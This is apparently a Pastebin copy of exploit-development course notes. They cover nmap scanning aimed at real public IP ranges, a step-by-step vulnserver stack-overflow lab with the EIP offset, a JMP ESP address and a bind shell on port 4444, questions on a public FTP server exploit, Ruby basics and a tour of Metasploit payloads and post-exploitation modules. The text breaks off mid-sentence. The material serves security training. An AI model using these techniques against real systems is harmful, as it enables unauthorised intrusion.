Advertisement
joemccray

Exploit Dev 2020

Jun 3rd, 2019
3,092
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 84.42 KB | None | 0 0
  1. ########################
  2. # Scanning Methodology #
  3. ########################
  4.  
  5. - Ping Sweep
  6. What's alive?
  7. ------------
  8.  
  9. ---------------------------Type this command-----------------------------------
  10. sudo nmap -sP 157.166.226.*
  11. -------------------------------------------------------------------------------
  12.  
  13.  
  14.  
  15. -if -SP yields no results try:
  16. ---------------------------Type this command-----------------------------------
  17. sudo nmap -sL 157.166.226.*
  18. -------------------------------------------------------------------------------
  19.  
  20.  
  21.  
  22. -Look for hostnames:
  23. ---------------------------Type this command-----------------------------------
  24. sudo nmap -sL 157.166.226.* | grep cnn
  25. -------------------------------------------------------------------------------
  26.  
  27.  
  28.  
  29. - Port Scan
  30. What's where?
  31. ------------
  32. ---------------------------Type this command-----------------------------------
  33. sudo nmap -sS 162.243.126.247
  34. -------------------------------------------------------------------------------
  35.  
  36.  
  37.  
  38. - Bannergrab/Version Query
  39. What versions of software are running
  40. -------------------------------------
  41.  
  42. ---------------------------Type this command-----------------------------------
  43. sudo nmap -sV 162.243.126.247
  44. -------------------------------------------------------------------------------
  45.  
  46.  
  47.  
  48.  
  49. - Vulnerability Research
  50. Lookup the banner versions for public exploits
  51. ----------------------------------------------
  52. https://www.exploit-db.com/search
  53. http://securityfocus.com/bid
  54. https://packetstormsecurity.com/files/tags/exploit/
  55.  
  56.  
  57.  
  58. Network Penetration Testing Process (known vulnerabilities)
  59. -----------------------------------------------------------
  60.  
  61.  
  62. 1. Ping Sweep:
  63. The purpose of this step is to identify live hosts
  64.  
  65. nmap -sP <ip-address/ip-range>
  66.  
  67.  
  68. 2. Port Scan
  69. Identify running services. We use the running services to map the network topology.
  70.  
  71. nmap -sS <ip-address/ip-range>
  72.  
  73.  
  74. 3. Bannergrab
  75. Identify the version of version of software running on each port
  76.  
  77. nmap -sV <ip-address/ip-range>
  78.  
  79.  
  80.  
  81. 4. Vulnerability Research
  82. Use the software version number to research and determine if it is out of date (vulnerable).
  83.  
  84. exploit-db.com/search
  85.  
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94. Skill Level 1. Run the scanners
  95. -------------------------------
  96. Nexpose
  97. Qualys
  98. Retina
  99. Nessus known vulnerabilities
  100. OpenVas
  101. Foundscan
  102. GFI LanGuard
  103. NCircle
  104.  
  105.  
  106. Skill Level 2. Manual vulnerability validation (known vulnerabilities)
  107. -----------------------------------------------------------------------
  108.  
  109. windows -> systeminfo
  110. Linux-> dpkg -l
  111. rpm -qa
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119. #####################################
  120. # Quick Stack Based Buffer Overflow #
  121. #####################################
  122.  
  123. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  124. http://45.63.104.73/ExploitLab.zip
  125.  
  126.  
  127. - Extract the ExploitLab.zip file to your Desktop
  128.  
  129. - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  130.  
  131. - Open a new command prompt and type:
  132.  
  133. ---------------------------Type This-----------------------------------
  134. nc localhost 9999
  135. --------------------------------------------------------------------------
  136.  
  137. - In the new command prompt window where you ran nc type:
  138. HELP
  139.  
  140. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  141. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  142.  
  143. - Now double-click on 1-simplefuzzer.py
  144. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  145.  
  146.  
  147. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  148.  
  149. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  150.  
  151. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  152.  
  153. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  154.  
  155. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  156.  
  157. - Calculate the distance to EIP by running script 3-3000chars.py
  158. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  159.  
  160. 4-count-chars-to-EIP.py
  161. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  162. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  163.  
  164. 5-2006char-eip-check.py
  165. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  166.  
  167. 6-jmp-esp.py
  168. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  169.  
  170. 7-first-exploit
  171. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  172.  
  173. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  174.  
  175.  
  176. ------------------------------
  177.  
  178.  
  179.  
  180. Skill Level 3. Identify unknown vulnerabilities
  181. -----------------------------------------------
  182.  
  183. - App Type
  184. ------------
  185. Stand Alone Client Server Web App
  186.  
  187. ***(vulnerserver.exe)***
  188.  
  189.  
  190. - Input TYpe
  191. -------------
  192. FIle logical network port Browser
  193. Keyboard
  194. Mouse
  195.  
  196.  
  197.  
  198. ***(9999)***
  199.  
  200.  
  201. - Map & Fuzz app entry points:
  202. ------------------------------
  203. - Commands ***(commands)***
  204. - Methods
  205. - Verbs
  206. - functions
  207. - subroutines
  208. - controllers
  209.  
  210.  
  211. - Isolate the crash
  212. -------------------
  213. App seems to reliably crash at TRUN 2100
  214.  
  215.  
  216. - Calculate the distance to EIP
  217. -------------------------------
  218. Distance to EIP is 2006
  219.  
  220. We found that EIP was populated with the value: 396F4338
  221. 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
  222.  
  223. An online tool that we can use for this is:
  224. https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
  225.  
  226.  
  227.  
  228. - Redirect Program Execution
  229. ----------------------------
  230. A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
  231. We learned that we control EAX and ESP in script 2.
  232.  
  233.  
  234.  
  235.  
  236.  
  237. - Implement Shellcode
  238. ---------------------
  239. There are only 2 things that can go wrong with shellcode:
  240. - Not enough space
  241. - Bad characters
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248. #########################################
  249. # FreeFloat FTP Server Exploit Analysis #
  250. #########################################
  251.  
  252.  
  253.  
  254. Analyze the following exploit code:
  255. https://www.exploit-db.com/exploits/15689/
  256.  
  257. 1. What is the target platform that this exploit works against?
  258. 2. What is the variable name for the distance to EIP?
  259. 3. What is the actual distance to EIP in bytes?
  260. 4. Describe what is happening in the variable ‘junk2’
  261.  
  262.  
  263.  
  264.  
  265. Analysis of the training walk-through based on EID: 15689:
  266. http://45.63.104.73/ff.zip
  267.  
  268.  
  269.  
  270.  
  271. ff1.py
  272. 1. What does the sys module do?
  273. 2. What is sys.argv[1] and sys.argv[2]?
  274. 3. What application entry point is being attacked in this script?
  275.  
  276.  
  277.  
  278. ff2.py
  279. 1. Explain what is happening in lines 18 - 20 doing.
  280. 2. What is pattern_create.rb doing and where can I find it?
  281. 3. Why can’t I just double click the file to run this script?
  282.  
  283.  
  284.  
  285. ff3.py
  286. 1. Explain what is happening in lines 17 - to 25?
  287. 2. Explain what is happening in lines 30 - to 32?
  288. 3. Why is everything below line 35 commented out?
  289.  
  290.  
  291.  
  292. ff4.py
  293. 1. Explain what is happening in lines 13 to 15.
  294. 2. Explain what is happening in line 19.
  295. 3. What is the total length of buff?
  296.  
  297.  
  298.  
  299. ff5.py
  300. 1. Explain what is happening in line 15.
  301. 2. What is struct.pack?
  302. 3. How big is the shellcode in this script?
  303.  
  304.  
  305.  
  306. ff6.py
  307. 1. What is the distance to EIP?
  308. 2. How big is the shellcode in this script?
  309. 3. What is the total byte length of the data being sent to this app?
  310.  
  311.  
  312.  
  313.  
  314. ff7.py
  315. 1. What is a tuple in python?
  316. 2. How big is the shellcode in this script?
  317. 3. Did your app crash in from this script?
  318.  
  319.  
  320.  
  321.  
  322. ff8.py
  323. 1. How big is the shellcode in this script?
  324. 2. What is try/except in python?
  325. 3. What is socket.SOCK_STREAM in Python?
  326.  
  327.  
  328.  
  329. ff9.py
  330. 1. What is going on in lines 19 and 20?
  331. 2. What is the length of the NOPs?
  332. 3. From what DLL did the address of the JMP ESP come from?
  333.  
  334.  
  335.  
  336.  
  337. ff010.py
  338. 1. What is going on in lines 18 - 20?
  339. 2. What is going on in lines 29 - 32?
  340. 3. How would a stack adjustment help this script?
  341.  
  342.  
  343. Required review videos to watch tonight:
  344. ----------------------------------------
  345. https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
  346. Please watch videos 1-5 tonight. Vivek has a deep accent so I understand that it may be difficult but his material is very good - probably the best on the internet today.
  347.  
  348. Recommended (not required) videos to watch tonight:
  349. ---------------------------------------------------
  350. For more background on Assembly I would recommend the following video series (videos 1-11):
  351. https://www.youtube.com/playlist?list=PL6brsSrstzga43kcZRn6nbSi_GeXoZQhR
  352. Again, you DO NOT have to watch these tonight but if you are really interested in the subject of exploit development I think they will be very helpful.
  353.  
  354.  
  355.  
  356.  
  357. ###################################
  358. # Day 2: Programming Fundamentals #
  359. ###################################
  360. How I did it:
  361.  
  362. Step 1: Watch and do the newboston Python video series twice
  363. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
  364.  
  365.  
  366. Step 2: Watch and do the Google Python workshop twice
  367. https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
  368.  
  369.  
  370. Step 3: Download all of the Python tools from PacketStorm and analyze the source code
  371. https://packetstormsecurity.com/files/tags/python
  372.  
  373.  
  374. Here is the code from Packet Storm
  375. http://45.63.104.73/PythonReferenceCode.zip
  376.  
  377. I went through almost every single file and looked up the code that I didn't understand.
  378. I also asked programmers to help me understand the lines of code that didn't make sense.
  379. In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
  380. and explain the tool to me.
  381.  
  382. Here is what I got out of doing that:
  383. https://s3.amazonaws.com/infosecaddictsfiles/sorted-commented-python-files.zip
  384.  
  385.  
  386.  
  387. Distilled that into this:
  388. http://45.63.104.73/Python-Courseware.zip
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395. ########################
  396. # Introduction to Ruby #
  397. ########################
  398. - Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
  399. scientist and programmer from Japan. It is a cross-platform dynamic language.
  400.  
  401. - The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
  402. on Rails is a framework that is written in Ruby.
  403.  
  404. - Ruby's file name extensions are .rb and .rbw.
  405.  
  406. - official website of this
  407.  
  408. - language: www.ruby-lang.org.
  409.  
  410.  
  411. - interactive Shell called Ruby Shell
  412.  
  413. - open up the interactive console and play around.
  414.  
  415. ---------------------------Type This-----------------------------------
  416. irb
  417. -----------------------------------------------------------------------
  418.  
  419.  
  420. - Math, Variables, Classes, Creating Objects and Inheritance
  421.  
  422.  
  423. The following arithmetic operators:
  424. Addition operator (+) — 10 + 23
  425. Subtraction operator (-) — 1001 - 34
  426. Multiplication operator (*) — 5 * 5
  427. Division operator (/) — 12 / 2
  428.  
  429.  
  430.  
  431. - Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
  432. operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
  433. 30. Again, 69 is assigned to y, and then y is incremented by 33.
  434.  
  435. ---------------------------Type This-----------------------------------
  436. x = 25
  437. x + 30
  438. y = 69
  439. y+33
  440. -----------------------------------------------------------------------
  441.  
  442.  
  443.  
  444. - Let's look at creating classes and creating objects.
  445.  
  446. - Here, the name of the class is Attack. An object has its properties and methods.
  447.  
  448.  
  449. ---------------------------Type This-----------------------------------
  450. class Attack
  451. attr_accessor :of, :sqli, :xss
  452. end
  453. -----------------------------------------------------------------------
  454.  
  455.  
  456. What is nil?
  457. Reference:
  458. https://www.codecademy.com/en/forum_questions/52a112378c1cccb0f6001638
  459.  
  460. nil is the Ruby object that represents nothingness. Whenever a method doesn’t return a useful value, it returns nil. puts and print are methods that return nil:
  461.  
  462. Since the Ruby Console always shows the value of the last statement or expression in your code, if that last statement is print, you’ll see the nil.
  463.  
  464. To prevent the nil from "sticking" to the output of print (which doesn’t insert a line break), you can print a line break after it, and optionally put some other value as the last statement of your code, then the Console will show it instead of nil:
  465.  
  466.  
  467.  
  468.  
  469.  
  470. # Now that we have created the classes let's create the objects
  471. ---------------------------Type This-----------------------------------
  472. first_attack = Attack.new
  473. first_attack.of = "stack"
  474. first_attack.sqli = "blind"
  475. first_attack.xss = "dom"
  476. puts first_attack.of
  477. puts first_attack.sqli
  478. puts first_attack.xss
  479. -----------------------------------------------------------------------
  480.  
  481.  
  482.  
  483.  
  484. - Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
  485. inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
  486. one object can access the properties/attributes of another object of a different class. Inheritance makes your
  487. programming life easier by maximizing code reuse.
  488.  
  489.  
  490. ---------------------------Type This-----------------------------------
  491. class Exploitframeworks
  492. attr_accessor :scanners, :exploits, :shellcode, :postmodules
  493. end
  494. class Metasploit < Exploitframeworks
  495. end
  496. class Canvas < Exploitframeworks
  497. end
  498. class Coreimpact < Exploitframeworks
  499. end
  500. class Saint < Exploitframeworks
  501. end
  502. class Exploitpack < Exploitframeworks
  503. end
  504. -----------------------------------------------------------------------
  505.  
  506.  
  507.  
  508.  
  509. - Methods, More Objects, Arguments, String Functions and Expression Shortcuts
  510.  
  511. - Let's create a simple method. A method is used to perform an action and is generally called with an object.
  512.  
  513. - Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
  514. it will print this string: "We are Learning how to PenTest"
  515.  
  516. - An object named 'bo' is created, which is used to call the method.
  517.  
  518.  
  519. ---------------------------Type This-----------------------------------
  520. class Msfnl
  521. def learning
  522. puts "We are Learning how to PenTest"
  523. end
  524. end
  525. -----------------------------------------------------------------------
  526.  
  527. #Now let's define an object for our Method
  528.  
  529. ---------------------------Type This-----------------------------------
  530. joe = Msfnl.new
  531. joe.learning
  532. -----------------------------------------------------------------------
  533.  
  534.  
  535.  
  536. - An argument is a value or variable that is passed to the function while calling it. In the following example, while
  537. calling the puts() function, we are sending a string value to the function. This string value is used by the
  538. function to perform some particular operations.
  539.  
  540. puts ("Pentesting")
  541.  
  542.  
  543. - There are many useful string functions in Ruby. String functions make it easy to work with strings. Now, we will
  544. explain some useful string functions with an example.
  545.  
  546. - The length function calculates the length of a string. The upcase function converts a string to uppercase. And the
  547. reverse function reverses a string. The following example demonstrates how to use the string functions.
  548.  
  549. ---------------------------Type This-----------------------------------
  550. 55.class
  551. "I Love Programming".class
  552. "I Love Pentesting".length
  553. "Pown that box".upcase
  554. "Love" + "To Root Boxes"
  555. "evil".reverse
  556. "evil".reverse.upcase
  557. -----------------------------------------------------------------------
  558.  
  559.  
  560. - expressions and shortcuts. In the below example, 'a' is an operand, '3' is an operand, '=' is
  561. an operator, and 'a=3' is the expression. A statement consists of one or multiple expressions. Following are the
  562. examples of some expressions.
  563.  
  564. ---------------------------Type This-----------------------------------
  565. a = 3
  566. b = 6
  567. a+b+20
  568. d = 44
  569. f = d
  570. puts f
  571. -----------------------------------------------------------------------
  572.  
  573.  
  574.  
  575.  
  576.  
  577. - shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
  578. assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
  579. statements to understand the shortcuts.
  580.  
  581. ---------------------------Type This-----------------------------------
  582. g = 70
  583. g = g+44
  584. g += 33
  585. -----------------------------------------------------------------------
  586.  
  587.  
  588. - In the above statement, g is incremented by 33 and then the total value is assigned to g.
  589.  
  590.  
  591.  
  592. ---------------------------Type This-----------------------------------
  593. g *= 3
  594. -----------------------------------------------------------------------
  595.  
  596.  
  597. - In the above statement, g is multiplied with 3 and then assigned to g.
  598.  
  599. - Example
  600.  
  601. - Comparison Operators, Loops, Data Types, and Constants
  602.  
  603. - Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
  604. how to use the following comparison operators.
  605.  
  606. 'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
  607. variable or constant. If it's less than the other, the 'less than' operator returns true.
  608.  
  609. 'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
  610. or constant. If it's equal to the other, the 'equal to' operator returns true.
  611.  
  612. 'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
  613. variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.
  614.  
  615. ---------------------------Type This-----------------------------------
  616. numberofports = 55
  617. puts "number of ports found during scan" if numberofports < 300
  618. numberofports = 400
  619. puts "number of ports found during scan" if numberofports < 300
  620. puts "number of ports found during scan" if numberofports == 300
  621. puts "number of ports found during scan" if numberofports != 300
  622. -----------------------------------------------------------------------
  623.  
  624.  
  625.  
  626. Example
  627.  
  628.  
  629. - the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.
  630.  
  631. - This operator is generally used to combine multiple conditions.
  632. - In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the
  633.  
  634. - following example to understand how this operator works.
  635.  
  636. ---------------------------Type This-----------------------------------
  637. ports = 100
  638. puts "number of ports found on the network" if ports<100 || ports>200
  639. puts "number of ports found on the network" if ports<100 || ports>75
  640. -----------------------------------------------------------------------
  641.  
  642. # unless
  643.  
  644. ---------------------------Type This-----------------------------------
  645. portsbelow1024 = 50
  646. puts "If the ports are below 1024" unless portsbelow1024 < 1000
  647. puts "If the ports are below 1024" unless portsbelow1024 < 1055
  648. puts "If the ports are below 1024" unless portsbelow1024 < 20
  649. -----------------------------------------------------------------------
  650.  
  651. - The 'unless' keyword is used to do something programmatically unless a condition is true.
  652.  
  653.  
  654.  
  655. - Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.
  656.  
  657. - See the following example to understand how a string is printed 10 times on the screen using a loop.
  658.  
  659. ---------------------------Type This-----------------------------------
  660. 10.times do puts "infosecaddicts" end
  661. -----------------------------------------------------------------------
  662.  
  663. # Or use the curly braces
  664.  
  665. ---------------------------Type This-----------------------------------
  666. 10.times {puts "infosecaddicts"}
  667. -----------------------------------------------------------------------
  668.  
  669.  
  670. - Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
  671. working with different data types. Data type conversion is also known as type casting.
  672.  
  673.  
  674.  
  675. - Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
  676. change the value of a constant, you will see a warning message.
  677.  
  678.  
  679.  
  680.  
  681. - Multiple Line String Variable, Interpolation, and Regular Expressions
  682.  
  683. - A multiple line string variable lets you assign the value to the string variable through multiple lines.
  684.  
  685. ---------------------------Type This-----------------------------------
  686. infosecaddicts = <<mark
  687. welcome
  688. to the
  689. best
  690. metasploit
  691. course
  692. on the
  693. market
  694. mark
  695. puts infosecaddicts
  696. -----------------------------------------------------------------------
  697.  
  698.  
  699. - Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
  700. it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
  701. Examine the following example to understand how interpolation works in Ruby.
  702.  
  703. References:
  704. https://stackoverflow.com/questions/10869264/meaning-of-in-ruby
  705.  
  706.  
  707. ---------------------------Type This-----------------------------------
  708. a = 4
  709. b = 6
  710. puts "a * b = a*b"
  711. puts " #{a} * #{b} = #{a*b} "
  712. person = "Joe McCray"
  713. puts "IT Security consultant person"
  714. puts "IT Security consultant #{person}"
  715. -----------------------------------------------------------------------
  716.  
  717. - Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
  718.  
  719.  
  720.  
  721.  
  722.  
  723. - Character classes
  724. ---------------------------Type This-----------------------------------
  725. infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
  726. "I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
  727. "I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
  728. -----------------------------------------------------------------------
  729.  
  730.  
  731. - Arrays, Push and Pop, and Hashes
  732.  
  733.  
  734. - In the following example, numbers is an array that holds 6 integer numbers.
  735.  
  736.  
  737. ---------------------------Type This-----------------------------------
  738. numbers = [2,4,6,8,10,100]
  739. puts numbers[0]
  740. puts numbers[4]
  741. numbers[2] = 150
  742. puts numbers
  743. -----------------------------------------------------------------------
  744.  
  745.  
  746.  
  747. - Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
  748.  
  749.  
  750. ---------------------------Type This-----------------------------------
  751. framework = []
  752. framework << "modules"
  753. framework << "exploits"
  754. framework << "payloads"
  755. framework.pop
  756. framework.shift
  757. -----------------------------------------------------------------------
  758.  
  759. - Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
  760. that is used to access the element.
  761.  
  762.  
  763. - Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
  764. In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
  765. respective values: 'what module should you use', 'Windows XP' and 'SSH'.
  766.  
  767. ---------------------------Type This-----------------------------------
  768. metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
  769. print metasploit.size
  770. print metasploit["microsoft"]
  771. metasploit['microsoft'] = 'redhat'
  772. print metasploit['microsoft']
  773. -----------------------------------------------------------------------
  774.  
  775.  
  776.  
  777. - Writing Ruby Scripts
  778.  
  779.  
  780. - Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
  781. this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
  782. someone made to look for a specific port. The port that it is looking for is port 21 FTP.
  783. ---------------------------Type This-----------------------------------
  784. cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan
  785. ls
  786. -----------------------------------------------------------------------
  787.  
  788.  
  789.  
  790. ###########################
  791. # Metasploit Fundamentals #
  792. ###########################
  793.  
  794.  
  795. Log into this server:
  796.  
  797.  
  798. Host: 45.77.13.200
  799. protocol: ssh
  800. port: 22
  801. user: linuxclass
  802. pass:
  803.  
  804.  
  805.  
  806.  
  807. - Let's take a little look at Metasploit Framework
  808.  
  809. - First, we should take note of the different directories, the Modular Architecture.
  810.  
  811. The modules that make up the Modular Architecture are
  812. Exploits
  813. Auxiliary
  814. Payload
  815. Encoder
  816. Nops
  817.  
  818.  
  819. Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,
  820.  
  821. are
  822.  
  823. Modules
  824. Scripts
  825. Plugins
  826. External
  827. Data
  828. Tools
  829.  
  830. - Let's take a look inside the Metasploit directory and see what's the
  831. ---------------------------Type This-----------------------------------
  832. cd /usr/share/metasploit-framework/
  833. ls
  834. -----------------------------------------------------------------------
  835.  
  836.  
  837.  
  838. - Now let's take a look inside the Modules directory and see what's there.
  839. ---------------------------Type This-----------------------------------
  840. cd /usr/share/metasploit-framework/modules
  841. ls
  842. -----------------------------------------------------------------------
  843.  
  844.  
  845. The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
  846. not necessarily need to - have a shell or session started on a machine.
  847.  
  848. The exploits directory has our modules that we need to pop a shell on a box.
  849. The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
  850. like Burp Suite
  851. - Let's take a look at the external directory
  852. ---------------------------Type This-----------------------------------
  853. cd /usr/share/metasploit-framework/external
  854. ls
  855. -----------------------------------------------------------------------
  856.  
  857. - Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
  858. ---------------------------Type This-----------------------------------
  859. cd /usr/share/metasploit-framework/data
  860. ls
  861. -----------------------------------------------------------------------
  862.  
  863. - For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
  864. brute-forcing
  865. ---------------------------Type This-----------------------------------
  866. cd /usr/share/metasploit-framework/data/wordlists
  867. ls
  868. -----------------------------------------------------------------------
  869.  
  870. - The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
  871. once a session is created.
  872. ---------------------------Type This-----------------------------------
  873. cd /usr/share/metasploit-framework/data/meterpreter
  874. ls
  875. -----------------------------------------------------------------------
  876.  
  877. - The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
  878. like escalating privileges and dumping hashes.
  879.  
  880. These are being phased out, though, and post-exploitation modules are what is being more preferred.
  881. The next important directory that we should get used to is the 'tools' directory. Inside the tools directory we'll
  882. find a bunch of different ruby scripts that help us on a pentest with things ranging from creating a pattern of code
  883. for creating exploits, to a pattern offset script to find where at in machine language that we need to put in our
  884. custom shellcode.
  885.  
  886. The final directory that we'll need to keep in mind is the plugins directory, which houses all the modules that have
  887. to do with other programs to make things like importing and exporting reports simple.
  888. Now that we have a clear understanding of what all of the different directories house, we can take a closer look at
  889. the exploits directory and get a better understanding of how the directory structure is there, so if we make our own
  890. modules we're going to have a better understanding of where everything needs to go.
  891. ---------------------------Type This-----------------------------------
  892. cd /usr/share/metasploit-framework/modules/exploits
  893. ls
  894. -----------------------------------------------------------------------
  895.  
  896.  
  897. - The exploits directory is split up into several different directories, each one housing exploits for different types
  898. of systems. I.E. Windows, Unix, OSX, dialup and so on.
  899. Likewise, if we were to go into the 'windows' directory, we're going to see that the exploits have been broken down
  900. into categories of different types of services/programs, so that you can pick out an exploit specifically for the
  901. service you're trying to exploit. Let's dig a little deeper into the auxiliary directory and see what all it holds
  902. for us.
  903. ---------------------------Type This-----------------------------------
  904. cd /usr/share/metasploit-framework/modules/auxiliary/
  905. ls
  906. -----------------------------------------------------------------------
  907.  
  908.  
  909. - And a little further into the directory, let's take a look at what's in the scanner directory
  910. ---------------------------Type This-----------------------------------
  911. cd /usr/share/metasploit-framework/modules/auxiliary/scanner/
  912. ls
  913. -----------------------------------------------------------------------
  914.  
  915.  
  916. - And one more folder deeper into the structure, let's take a look in the portscan folder
  917. ---------------------------Type This-----------------------------------
  918. cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan
  919. ls
  920. -----------------------------------------------------------------------
  921.  
  922. - If we run 'cat tcp.rb' we'll find that this module is simply a TCP scanner that will find tcp ports that are open
  923. and report them back to us in a nice, easily readable format.
  924.  
  925. cat tcp.rb
  926.  
  927.  
  928.  
  929. - Just keep in mind that all of the modules in the auxiliary directory are there for information gathering and for use
  930. once you have a session on a machine.
  931. Taking a look at the payload directory, we can see all the available payloads, which are what run after an exploit
  932. succeeds.
  933. ---------------------------Type This-----------------------------------
  934. cd /usr/share/metasploit-framework/modules/payloads/
  935. ls
  936. -----------------------------------------------------------------------
  937.  
  938.  
  939. - There are three different types of payloads: single, stagers, and staged. Each type of payload has a different
  940. application for it to be used as.
  941. Single payloads do everything you need them to do at one single time, so they call a shell back to you and let you
  942. do everything once you have that shell calling back to you.
  943. Stagers are required for limited payload space so that the victim machine will call back to your attack box to get
  944. the rest of the instructions on what it's supposed to do. The first stage of the payload doesn't require all that
  945. much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
  946. to download Stages payloads.
  947.  
  948.  
  949. - Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
  950. shells.
  951. ---------------------------Type This-----------------------------------
  952. cd singles
  953. cd windows
  954. ls
  955. -----------------------------------------------------------------------
  956.  
  957.  
  958. - We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
  959. see what it actually does.
  960. ---------------------------Type This-----------------------------------
  961. cat adduser.rb
  962. -----------------------------------------------------------------------
  963.  
  964. Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
  965. the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
  966. it gives Windows to add the user to the system.
  967.  
  968.  
  969. - Stagers just connect to victim machine back to yours to download the Stages payload, usually with a
  970.  
  971. windows/shell/bind_tcp or windows/shell/reverse_tcp
  972. ---------------------------Type This-----------------------------------
  973. cd ../../stagers
  974. ls
  975. -----------------------------------------------------------------------
  976.  
  977.  
  978.  
  979. - Again, we can see that we have stagers for multiple systems and code types.
  980. ---------------------------Type This-----------------------------------
  981. ls windows/
  982. -----------------------------------------------------------------------
  983.  
  984.  
  985. As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
  986. machine, so we can upload or download our stage payloads and execute commands.
  987. Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
  988. our stagers...
  989. ---------------------------Type This-----------------------------------
  990. cd ../stages
  991. ls
  992. -----------------------------------------------------------------------
  993.  
  994.  
  995. Again, we can see that our stages are coded for particular operating systems and languages.
  996. We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
  997. victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
  998. if any.
  999.  
  1000. - Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
  1001. already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
  1002. so we can impersonate other users on the system in hopes of elevating our privileges.
  1003. ---------------------------Type This-----------------------------------
  1004. cd ../../../post/
  1005. ls
  1006. cd windows/
  1007. ls
  1008. -----------------------------------------------------------------------
  1009.  
  1010.  
  1011. Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
  1012. the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
  1013. escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
  1014. possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
